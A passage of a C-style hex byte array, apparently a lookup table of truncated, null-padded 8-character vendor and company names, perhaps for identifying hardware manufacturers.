0x64, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x6f, 0x67, 0x65, 0x63, 0x61, 0x6d, 0x49,\r\n0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x61,\r\n0x46, 0x69, 0x64, 0x65, 0x6c, 0x69, 0x78, 0x4f,\r\n0x43, 0x6f, 0x73, 0x6d, 0x6f, 0x00, 0x00, 0x00,\r\n0x4a, 0x61, 0x79, 0x62, 0x69, 0x72, 0x64, 0x4c,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x5a, 0x68, 0x6f,\r\n0x53, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x63, 0x68,\r\n0x49, 0x6e, 0x76, 0x69, 0x65, 0x77, 0x54, 0x65,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x77, 0x61, 0x76,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x57, 0x6f, 0x72,\r\n0x42, 0x6f, 0x64, 0x69, 0x52, 0x73, 0x4c, 0x6c,\r\n0x4d, 0x65, 0x73, 0x73, 0x63, 0x6f, 0x6d, 0x70,\r\n0x48, 0x6f, 0x6d, 0x65, 0x43, 0x6f, 0x6e, 0x74,\r\n0x53, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x55, 0x70, 0x76, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x41, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x00,\r\n0x51, 0x75, 0x61, 0x6e, 0x65, 0x72, 0x67, 0x79,\r\n0x45, 0x6e, 0x61, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x45, 0x74, 0x68,\r\n0x42, 0x6b, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x43, 0x6e, 0x6f,\r\n0x41, 0x6c, 0x70, 0x69, 0x6e, 0x69, 0x6f, 0x6e,\r\n0x56, 0x61, 0x6c, 0x75, 0x65, 0x68, 0x64, 0x00,\r\n0x53, 0x53, 0x69, 0x65, 0x64, 0x6c, 0x65, 0x53,\r\n0x43, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x72, 0x6c, 0x65, 0x79, 0x2d, 0x44,\r\n0x4c, 0x69, 0x6e, 0x6b, 0x65, 0x64, 0x68, 0x6f,\r\n0x48, 0x69, 0x77, 0x69, 0x66, 0x69, 0x00, 0x00,\r\n0x4e, 0x61, 0x76, 0x65, 0x74, 0x61, 0x73, 0x45,\r\n0x4e, 0x61, 0x70, 0x63, 0x6f, 0x53, 0x65, 0x63,\r\n0x49, 0x70, 0x72, 0x6f, 0x61, 0x64, 0x00, 0x00,\r\n0x44, 0x69, 0x61, 0x6f, 0x64, 0x69, 0x61, 0x6f,\r\n0x49, 0x65, 0x61, 0x53, 0x52, 0x4c, 0x00, 0x00,\r\n0x53, 0x6b, 0x79, 0x76, 0x69, 0x69, 0x61, 0x00,\r\n0x41, 0x72, 0x63, 0x61, 0x64, 0x69, 0x61, 0x4e,\r\n0x43, 0x65, 0x72, 0x63, 0x61, 0x63, 0x6f, 0x72,\r\n0x43, 0x47, 0x56, 0x53, 0x41, 0x53, 0x00, 0x00,\r\n0x46, 0x78, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x53, 0x75, 0x72, 0x65, 0x53, 0x79, 0x73, 0x74,\r\n0x44, 0x65, 0x77, 0x61, 0x76, 0x48, 0x6b, 0x45,\r\n0x4e, 0x75, 0x68, 0x65, 0x61, 0x72, 0x61, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x73, 0x71, 0x75, 0x61,\r\n0x54, 0x77, 0x69, 0x6e, 0x6c, 0x69, 0x6e, 0x78,\r\n0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x61,\r\n0x42, 0x26, 0x57, 0x47, 0x72, 0x6f, 0x75, 0x70,\r\n0x43, 0x75, 0x62, 0x72, 0x6f, 0x41, 0x63, 0x72,\r\n0x41, 0x76, 0x6e, 0x65, 0x74, 0x53, 0x69, 0x6c,\r\n0x52, 0x6f, 0x63, 0x6b, 0x65, 0x65, 0x74, 0x65,\r\n0x4d, 0x61, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x41, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x43, 0x6f,\r\n0x42, 0x65, 0x73, 0x74, 0x57, 0x69, 0x73, 0x68,\r\n0x4c, 0x65, 0x69, 0x74, 0x6e, 0x65, 0x72, 0x00,\r\n0x54, 0x72, 0x69, 0x63, 0x61, 0x73, 0x63, 0x61,\r\n0x4f, 0x66, 0x66, 0x69, 0x63, 0x65, 0x46, 0x61,\r\n0x44, 0x65, 0x76, 0x54, 0x65, 0x63, 0x6e, 0x6f,\r\n0x43, 0x6f, 0x67, 0x6e, 0x69, 0x74, 0x61, 0x73,\r\n0x43, 0x7a, 0x4e, 0x69, 0x63, 0x5a, 0x53, 0x50,\r\n0x43, 0x61, 0x78, 0x53, 0x6f, 0x66, 0x74, 0x00,\r\n0x42, 0x75, 0x73, 0x63, 0x68, 0x2d, 0x4a, 0x61,\r\n0x42, 0x69, 0x6f, 0x6d, 0x72, 0x69, 0x65, 0x00,\r\n0x45, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x79, 0x53, 0x4d, 0x79, 0x74, 0x68,\r\n0x42, 0x6f, 0x78, 0x69, 0x6e, 0x43, 0x6f, 0x6d,\r\n0x53, 0x74, 0x65, 0x69, 0x6e, 0x73, 0x76, 0x69,\r\n0x48, 0x75, 0x61, 0x71, 0x69, 0x6e, 0x54, 0x65,\r\n0x45, 0x73, 0x63, 0x6f, 0x72, 0x74, 0x00, 0x00,\r\n0x4b, 0x75, 0x68, 0x6e, 0x53, 0x61, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x58, 0x4f, 0x57, 0x61, 0x72, 0x65, 0x00, 0x00,\r\n0x41, 0x6e, 0x68, 0x75, 0x69, 0x48, 0x75, 0x61,\r\n0x41, 0x68, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4c, 0x65, 0x61, 0x64, 0x63, 0x6f, 0x72, 0x65,\r\n0x55, 0x6e, 0x69, 0x74, 0x2d, 0x45, 0x6d, 0x00,\r\n0x4b, 0x69, 0x6e, 0x67, 0x74, 0x69, 0x6e, 0x67,\r\n0x43, 0x32, 0x44, 0x65, 0x76, 0x65, 0x6c, 0x6f,\r\n0x47, 0x72, 0x65, 0x79, 0x49, 0x6e, 0x6e, 0x6f,\r\n0x45, 0x6d, 0x65, 0x67, 0x61, 0x74, 0x65, 0x63,\r\n0x53, 0x79, 0x73, 0x6c, 0x61, 0x6e, 0x65, 0x00,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x6f, 0x6e, 0x61, 0x76, 0x61, 0x74, 0x69,\r\n0x49, 0x74, 0x69, 0x62, 0x69, 0x61, 0x54, 0x65,\r\n0x4a, 0x69, 0x6e, 0x61, 0x6e, 0x55, 0x73, 0x72,\r\n0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x61,\r\n0x42, 0x6c, 0x75, 0x54, 0x65, 0x74, 0x68, 0x65,\r\n0x4e, 0x61, 0x6e, 0x74, 0x77, 0x6f, 0x72, 0x6b,\r\n0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x44, 0x6f,\r\n0x56, 0x69, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x43,\r\n0x4e, 0x65, 0x74, 0x67, 0x65, 0x6e, 0x65, 0x74,\r\n0x48, 0x75, 0x6e, 0x61, 0x6e, 0x74, 0x76, 0x43,\r\n0x44, 0x65, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x6d,\r\n0x48, 0x69, 0x63, 0x68, 0x61, 0x6e, 0x54, 0x65,\r\n0x45, 0x61, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61,\r\n0x4a, 0x65, 0x6d, 0x61, 0x45, 0x6e, 0x65, 0x72,\r\n0x52, 0x61, 0x69, 0x6e, 0x66, 0x6f, 0x72, 0x65,\r\n0x47, 0x73, 0x6b, 0x43, 0x6e, 0x63, 0x45, 0x71,\r\n0x41, 0x70, 0x61, 0x74, 0x6f, 0x72, 0x53, 0x41,\r\n0x4b, 0x75, 0x6e, 0x73, 0x68, 0x61, 0x6e, 0x45,\r\n0x42, 0x61, 0x6c, 0x6d, 0x75, 0x64, 0x61, 0x00,\r\n0x49, 0x73, 0x75, 0x6e, 0x67, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00,\r\n0x51, 0x75, 0x65, 0x73, 0x74, 0x53, 0x6f, 0x66,\r\n0x56, 0x6f, 0x64, 0x69, 0x61, 0x4e, 0x65, 0x74,\r\n0x42, 0x75, 0x6c, 0x61, 0x74, 0x4c, 0x6c, 0x63,\r\n0x43, 0x69, 0x72, 0x74, 0x65, 0x63, 0x4d, 0x65,\r\n0x57, 0x75, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x65, 0x6f, 0x70, 0x73, 0x79, 0x73, 0x00,\r\n0x4d, 0x61, 0x67, 0x6e, 0x61, 0x54, 0x65, 0x63,\r\n0x4d, 0x6f, 0x6f, 0x67, 0x50, 0x72, 0x6f, 0x74,\r\n0x5a, 0x65, 0x65, 0x62, 0x6f, 0x00, 0x00, 0x00,\r\n0x50, 0x65, 0x70, 0x78, 0x69, 0x6d, 0x49, 0x6e,\r\n0x50, 0x6f, 0x73, 0x74, 0x43, 0x68, 0x00, 0x00,\r\n0x4c, 0x69, 0x62, 0x72, 0x65, 0x57, 0x69, 0x72,\r\n0x41, 0x78, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x43, 0x6f, 0x72,\r\n0x47, 0x69, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x53,\r\n0x49, 0x64, 0x66, 0x6f, 0x6e, 0x65, 0x00, 0x00,\r\n0x53, 0x65, 0x73, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x48, 0x67, 0x47, 0x65, 0x6e, 0x75, 0x69, 0x6e,\r\n0x54, 0x65, 0x61, 0x6d, 0x50, 0x72, 0x65, 0x63,\r\n0x4d, 0x65, 0x64, 0x69, 0x74, 0x65, 0x63, 0x68,\r\n0x4e, 0x61, 0x62, 0x74, 0x65, 0x73, 0x63, 0x6f,\r\n0x47, 0x65, 0x52, 0x75, 0x69, 0x6c, 0x69, 0x49,\r\n0x4d, 0x65, 0x64, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x43, 0x61, 0x70, 0x74, 0x69, 0x76, 0x61, 0x74,\r\n0x45, 0x63, 0x6f, 0x6c, 0x69, 0x76, 0x54, 0x65,\r\n0x55, 0x42, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x74, 0x65,\r\n0x41, 0x63, 0x63, 0x65, 0x6e, 0x73, 0x75, 0x73,\r\n0x41, 0x73, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x48, 0x61, 0x6b, 0x6b, 0x6f, 0x00, 0x00, 0x00,\r\n0x41, 0x6c, 0x74, 0x6f, 0x62, 0x65, 0x61, 0x6d,\r\n0x49, 0x6e, 0x66, 0x6f, 0x62, 0x6c, 0x6f, 0x63,\r\n0x5a, 0x65, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x55,\r\n0x48, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x65, 0x70, 0x46, 0x6f, 0x72, 0x77,\r\n0x48, 0x65, 0x79, 0x72, 0x65, 0x78, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x73, 0x61, 0x74, 0x00,\r\n0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x76, 0x6f,\r\n0x48, 0x75, 0x6e, 0x61, 0x6e, 0x48, 0x6b, 0x74,\r\n0x53, 0x6b, 0x79, 0x70, 0x6f, 0x72, 0x74, 0x00,\r\n0x54, 0x69, 0x63, 0x6f, 0x6d, 0x47, 0x65, 0x6f,\r\n0x41, 0x74, 0x6f, 0x6d, 0x69, 0x63, 0x52, 0x75,\r\n0x53, 0x6f, 0x6c, 0x62, 0x65, 0x72, 0x67, 0x41,\r\n0x41, 0x6c, 0x6c, 0x77, 0x69, 0x6e, 0x6e, 0x65,\r\n0x42, 0x61, 0x72, 0x61, 0x6a, 0x61, 0x50, 0x74,\r\n0x43, 0x61, 0x73, 0x63, 0x6f, 0x53, 0x69, 0x67,\r\n0x53, 0x68, 0x69, 0x6e, 0x79, 0x65, 0x69, 0x54,\r\n0x50, 0x61, 0x74, 0x65, 0x72, 0x73, 0x6f, 0x6e,\r\n0x43, 0x52, 0x53, 0x49, 0x69, 0x6d, 0x6f, 0x74,\r\n0x41, 0x70, 0x61, 0x63, 0x65, 0x72, 0x54, 0x65,\r\n0x4c, 0x69, 0x76, 0x65, 0x73, 0x63, 0x72, 0x69,\r\n0x42, 0x61, 0x79, 0x53, 0x74, 0x6f, 0x72, 0x61,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x53,\r\n0x4a, 0x61, 0x6e, 0x75, 0x73, 0x53, 0x70, 0x6f,\r\n0x49, 0x70, 0x6f, 0x72, 0x74, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x6f, 0x6d,\r\n0x53, 0x61, 0x70, 0x70, 0x68, 0x69, 0x72, 0x65,\r\n0x52, 0x62, 0x63, 0x6c, 0x6f, 0x75, 0x64, 0x74,\r\n0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73,\r\n0x4e, 0x65, 0x77, 0x53, 0x70, 0x69, 0x6e, 0x47,\r\n0x4d, 0x61, 0x63, 0x61, 0x6e, 0x64, 0x63, 0x00,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x70, 0x72, 0x69,\r\n0x43, 0x65, 0x6c, 0x6f, 0x78, 0x69, 0x63, 0x61,\r\n0x42, 0x72, 0x6b, 0x65, 0x72, 0x74, 0x57, 0x00,\r\n0x53, 0x6f, 0x6c, 0x69, 0x64, 0x54, 0x65, 0x63,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x62, 0x61,\r\n0x42, 0x75, 0x68, 0x65, 0x75, 0x6e, 0x67, 0x53,\r\n0x45, 0x78, 0x70, 0x6c, 0x6f, 0x72, 0x61, 0x54,\r\n0x46, 0x65, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c,\r\n0x42, 0x65, 0x6e, 0x74, 0x65, 0x6b, 0x00, 0x00,\r\n0x53, 0x75, 0x6e, 0x6e, 0x79, 0x48, 0x65, 0x61,\r\n0x47, 0x65, 0x74, 0x63, 0x6b, 0x54, 0x65, 0x63,\r\n0x54, 0x6f, 0x6e, 0x66, 0x75, 0x6e, 0x6b, 0x53,\r\n0x54, 0x72, 0x70, 0x42, 0x76, 0x00, 0x00, 0x00,\r\n0x45, 0x6e, 0x65, 0x72, 0x67, 0x69, 0x63, 0x61,\r\n0x41, 0x6b, 0x79, 0x6c, 0x6c, 0x6f, 0x72, 0x00,\r\n0x50, 0x61, 0x74, 0x72, 0x6f, 0x6c, 0x54, 0x61,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x41,\r\n0x4c, 0x75, 0x6d, 0x65, 0x6e, 0x73, 0x44, 0x69,\r\n0x5a, 0x61, 0x6f, 0x4e, 0x70, 0x6b, 0x52, 0x6f,\r\n0x45, 0x78, 0x70, 0x65, 0x72, 0x69, 0x6d, 0x65,\r\n0x41, 0x75, 0x67, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x57, 0x75, 0x68, 0x61, 0x6e, 0x51, 0x69, 0x61,\r\n0x48, 0x65, 0x69, 0x6d, 0x69, 0x4e, 0x65, 0x74,\r\n0x4c, 0x65, 0x74, 0x74, 0x61, 0x54, 0x65, 0x6b,\r\n0x4e, 0x75, 0x62, 0x69, 0x61, 0x54, 0x65, 0x63,\r\n0x53, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x6b,\r\n0x4c, 0x6f, 0x72, 0x65, 0x6e, 0x74, 0x4e, 0x65,\r\n0x53, 0x74, 0x72, 0x6f, 0x6e, 0x67, 0x47, 0x65,\r\n0x49, 0x6e, 0x6f, 0x76, 0x6f, 0x6e, 0x69, 0x63,\r\n0x43, 0x72, 0x65, 0x65, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x6f, 0x64, 0x6f, 0x6f, 0x73, 0x69, 0x73,\r\n0x42, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x42, 0x72, 0x61, 0x76, 0x6f, 0x54, 0x65, 0x63,\r\n0x58, 0x73, 0x6c, 0x65, 0x6e, 0x74, 0x45, 0x6e,\r\n0x54, 0x69, 0x74, 0x61, 0x6e, 0x50, 0x65, 0x74,\r\n0x49, 0x6e, 0x74, 0x72, 0x69, 0x67, 0x75, 0x65,\r\n0x54, 0x74, 0x63, 0x4e, 0x65, 0x78, 0x74, 0x2d,\r\n0x4d, 0x72, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x56, 0x61, 0x6c, 0x76, 0x65, 0x00, 0x00, 0x00,\r\n0x53, 0x7a, 0x54, 0x65, 0x6c, 0x73, 0x74, 0x61,\r\n0x46, 0x65, 0x69, 0x74, 0x45, 0x6c, 0x65, 0x63,\r\n0x43, 0x68, 0x61, 0x6c, 0x6c, 0x65, 0x6e, 0x67,\r\n0x53, 0x74, 0x61, 0x67, 0x65, 0x4f, 0x6e, 0x65,\r\n0x50, 0x6c, 0x65, 0x78, 0x78, 0x69, 0x00, 0x00,\r\n0x43, 0x61, 0x76, 0x61, 0x6e, 0x61, 0x67, 0x68,\r\n0x44, 0x61, 0x74, 0x61, 0x2d, 0x43, 0x6f, 0x6d,\r\n0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x74, 0x65,\r\n0x48, 0x69, 0x2d, 0x50, 0x45, 0x6c, 0x65, 0x63,\r\n0x41, 0x78, 0x65, 0x73, 0x6e, 0x65, 0x74, 0x77,\r\n0x4c, 0x61, 0x65, 0x72, 0x64, 0x61, 0x6c, 0x4d,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x69, 0x64, 0x00,\r\n0x44, 0x65, 0x74, 0x6c, 0x65, 0x66, 0x46, 0x69,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x6c, 0x65, 0x61,\r\n0x4a, 0x69, 0x6e, 0x61, 0x6e, 0x4a, 0x6f, 0x76,\r\n0x44, 0x69, 0x67, 0x69, 0x76, 0x69, 0x65, 0x77,\r\n0x43, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x54, 0x65,\r\n0x52, 0x61, 0x79, 0x62, 0x61, 0x73, 0x65, 0x64,\r\n0x57, 0x68, 0x69, 0x73, 0x74, 0x6c, 0x65, 0x4c,\r\n0x54, 0x65, 0x63, 0x68, 0x62, 0x6f, 0x61, 0x72,\r\n0x45, 0x76, 0x69, 0x64, 0x65, 0x6e, 0x63, 0x65,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x62, 0x79, 0x74,\r\n0x48, 0x69, 0x67, 0x68, 0x47, 0x72, 0x61, 0x64,\r\n0x4e, 0x61, 0x74, 0x61, 0x2d, 0x49, 0x6e, 0x66,\r\n0x45, 0x78, 0x70, 0x6f, 0x6e, 0x65, 0x6e, 0x74,\r\n0x52, 0x65, 0x70, 0x6f, 0x74, 0x65, 0x63, 0x00,\r\n0x4f, 0x72, 0x74, 0x68, 0x6f, 0x73, 0x6f, 0x66,\r\n0x41, 0x74, 0x6f, 0x6d, 0x61, 0x78, 0x00, 0x00,\r\n0x57, 0x61, 0x6e, 0x61, 0x6e, 0x48, 0x6f, 0x6e,\r\n0x4e, 0x6f, 0x6a, 0x61, 0x50, 0x6f, 0x77, 0x65,\r\n0x50, 0x65, 0x76, 0x63, 0x6f, 0x00, 0x00, 0x00,\r\n0x56, 0x65, 0x72, 0x6b, 0x61, 0x64, 0x61, 0x00,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x56,\r\n0x4f, 0x72, 0x62, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x42, 0x65, 0x6e, 0x64, 0x65, 0x72, 0x26, 0x41,\r\n0x4c, 0x6f, 0x65, 0x6e, 0x6b, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x72, 0x63, 0x75, 0x73, 0x00, 0x00,\r\n0x43, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73,\r\n0x41, 0x69, 0x73, 0x61, 0x69, 0x43, 0x6f, 0x6d,\r\n0x4d, 0x69, 0x6c, 0x64, 0x65, 0x66, 0x00, 0x00,\r\n0x4a, 0x69, 0x72, 0x65, 0x68, 0x45, 0x6e, 0x65,\r\n0x47, 0x65, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x6b,\r\n0x4b, 0x61, 0x74, 0x6f, 0x75, 0x64, 0x65, 0x6e,\r\n0x41, 0x6c, 0x69, 0x70, 0x68, 0x44, 0x62, 0x61,\r\n0x45, 0x71, 0x75, 0x65, 0x73, 0x54, 0x65, 0x63,\r\n0x48, 0x69, 0x70, 0x70, 0x69, 0x68, 0x41, 0x70,\r\n0x4a, 0x76, 0x63, 0x4b, 0x65, 0x6e, 0x77, 0x6f,\r\n0x4f, 0x70, 0x65, 0x6e, 0x53, 0x74, 0x61, 0x6e,\r\n0x53, 0x6e, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4e, 0x75, 0x72, 0x65, 0x76, 0x61, 0x00, 0x00,\r\n0x4f, 0x6c, 0x69, 0x76, 0x65, 0x54, 0x65, 0x6c,\r\n0x56, 0x61, 0x73, 0x74, 0x72, 0x69, 0x76, 0x65,\r\n0x4c, 0x69, 0x6e, 0x74, 0x65, 0x73, 0x54, 0x65,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x77,\r\n0x56, 0x61, 0x64, 0x64, 0x69, 0x6f, 0x00, 0x00,\r\n0x43, 0x6c, 0x6f, 0x75, 0x64, 0x65, 0x6e, 0x61,\r\n0x50, 0x6c, 0x61, 0x74, 0x61, 0x6e, 0x53, 0x70,\r\n0x53, 0x6f, 0x66, 0x74, 0x69, 0x72, 0x6f, 0x6e,\r\n0x54, 0x6f, 0x6d, 0x74, 0x6f, 0x6d, 0x53, 0x6f,\r\n0x54, 0x6f, 0x70, 0x73, 0x79, 0x73, 0x74, 0x65,\r\n0x38, 0x62, 0x69, 0x74, 0x64, 0x6f, 0x54, 0x65,\r\n0x5a, 0x70, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x56, 0x32, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f,\r\n0x44, 0x75, 0x6e, 0x6b, 0x65, 0x72, 0x6d, 0x6f,\r\n0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x2d, 0x43, 0x68,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x6c, 0x61, 0x62,\r\n0x4c, 0x69, 0x6c, 0x65, 0x65, 0x00, 0x00, 0x00,\r\n0x4f, 0x70, 0x74, 0x6f, 0x6d, 0x65, 0x74, 0x00,\r\n0x55, 0x6e, 0x69, 0x63, 0x6f, 0x72, 0x65, 0x43,\r\n0x48, 0x61, 0x6e, 0x77, 0x68, 0x61, 0x54, 0x65,\r\n0x53, 0x61, 0x62, 0x72, 0x65, 0x54, 0x65, 0x63,\r\n0x48, 0x65, 0x6e, 0x72, 0x69, 0x44, 0x65, 0x70,\r\n0x57, 0x75, 0x78, 0x69, 0x44, 0x73, 0x70, 0x54,\r\n0x4f, 0x74, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63,\r\n0x43, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x47, 0x61, 0x72, 0x64, 0x61, 0x73, 0x6f, 0x66,\r\n0x43, 0x68, 0x61, 0x6d, 0x70, 0x69, 0x6f, 0x6e,\r\n0x4d, 0x61, 0x4c, 0x69, 0x67, 0x68, 0x74, 0x69,\r\n0x45, 0x64, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74,\r\n0x48, 0x77, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x53, 0x75, 0x74, 0x74, 0x6c, 0x65, 0x41, 0x70,\r\n0x53, 0x74, 0x75, 0x61, 0x72, 0x74, 0x4d, 0x61,\r\n0x50, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6b, 0x00,\r\n0x48, 0x61, 0x6f, 0x43, 0x68, 0x65, 0x6e, 0x67,\r\n0x44, 0x61, 0x6e, 0x69, 0x73, 0x68, 0x49, 0x6e,\r\n0x44, 0x69, 0x63, 0x74, 0x75, 0x6d, 0x48, 0x65,\r\n0x4d, 0x65, 0x73, 0x73, 0x6d, 0x61, 0x00, 0x00,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x66, 0x69,\r\n0x47, 0x65, 0x74, 0x69, 0x6e, 0x67, 0x65, 0x53,\r\n0x41, 0x61, 0x72, 0x74, 0x65, 0x73, 0x79, 0x73,\r\n0x4d, 0x69, 0x6e, 0x72, 0x72, 0x61, 0x79, 0x49,\r\n0x4a, 0x75, 0x6d, 0x70, 0x74, 0x72, 0x6f, 0x6e,\r\n0x47, 0x65, 0x62, 0x65, 0x72, 0x69, 0x74, 0x49,\r\n0x52, 0x66, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77,\r\n0x59, 0x65, 0x6c, 0x61, 0x74, 0x6d, 0x61, 0x49,\r\n0x47, 0x72, 0x69, 0x64, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x41, 0x6c, 0x74, 0x6f, 0x67, 0x72, 0x61, 0x70,\r\n0x54, 0x72, 0x6f, 0x6e, 0x4c, 0x69, 0x6e, 0x6b,\r\n0x43, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x50, 0x61,\r\n0x55, 0x61, 0x62, 0x53, 0x65, 0x6c, 0x74, 0x65,\r\n0x53, 0x63, 0x6c, 0x45, 0x6c, 0x65, 0x6d, 0x65,\r\n0x48, 0x65, 0x73, 0x2d, 0x53, 0x6f, 0x00, 0x00,\r\n0x33, 0x36, 0x30, 0x46, 0x6c, 0x79, 0x00, 0x00,\r\n0x41, 0x69, 0x72, 0x77, 0x61, 0x72, 0x65, 0x00,\r\n0x4d, 0x6f, 0x70, 0x68, 0x69, 0x65, 0x4c, 0x6c,\r\n0x43, 0x65, 0x69, 0x65, 0x63, 0x45, 0x6c, 0x65,\r\n0x57, 0x79, 0x72, 0x65, 0x73, 0x74, 0x6f, 0x72,\r\n0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x4c, 0x69,\r\n0x4f, 0x72, 0x61, 0x79, 0x61, 0x54, 0x68, 0x65,\r\n0x45, 0x6e, 0x2d, 0x56, 0x69, 0x73, 0x69, 0x6f,\r\n0x4c, 0x65, 0x69, 0x66, 0x68, 0x65, 0x69, 0x74,\r\n0x4d, 0x72, 0x26, 0x44, 0x4d, 0x61, 0x6e, 0x75,\r\n0x54, 0x69, 0x6d, 0x65, 0x2d, 0x4f, 0x2d, 0x4d,\r\n0x44, 0x61, 0x74, 0x61, 0x66, 0x6f, 0x78, 0x00,\r\n0x4d, 0x69, 0x6e, 0x78, 0x6f, 0x6e, 0x48, 0x6f,\r\n0x50, 0x61, 0x64, 0x50, 0x65, 0x72, 0x69, 0x70,\r\n0x42, 0x65, 0x66, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x68, 0x72, 0x6f, 0x75, 0x67, 0x68, 0x74,\r\n0x47, 0x75, 0x6f, 0x67, 0x75, 0x61, 0x6e, 0x67,\r\n0x41, 0x6b, 0x69, 0x62, 0x54, 0x61, 0x69, 0x77,\r\n0x44, 0x61, 0x65, 0x79, 0x6f, 0x75, 0x6e, 0x67,\r\n0x53, 0x79, 0x6e, 0x63, 0x62, 0x61, 0x6b, 0x00,\r\n0x52, 0x65, 0x61, 0x6c, 0x6c, 0x79, 0x53, 0x69,\r\n0x43, 0x6f, 0x6d, 0x73, 0x74, 0x6f, 0x63, 0x6b,\r\n0x41, 0x69, 0x72, 0x73, 0x6f, 0x75, 0x6e, 0x64,\r\n0x49, 0x64, 0x65, 0x6f, 0x53, 0x65, 0x63, 0x75,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x43,\r\n0x4f, 0x72, 0x66, 0x65, 0x6f, 0x53, 0x6f, 0x75,\r\n0x54, 0x6d, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x74, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x4f, 0x75, 0x74, 0x4f, 0x66, 0x46, 0x6f, 0x67,\r\n0x58, 0x61, 0x70, 0x74, 0x65, 0x63, 0x00, 0x00,\r\n0x53, 0x65, 0x6e, 0x73, 0x65, 0x4c, 0x61, 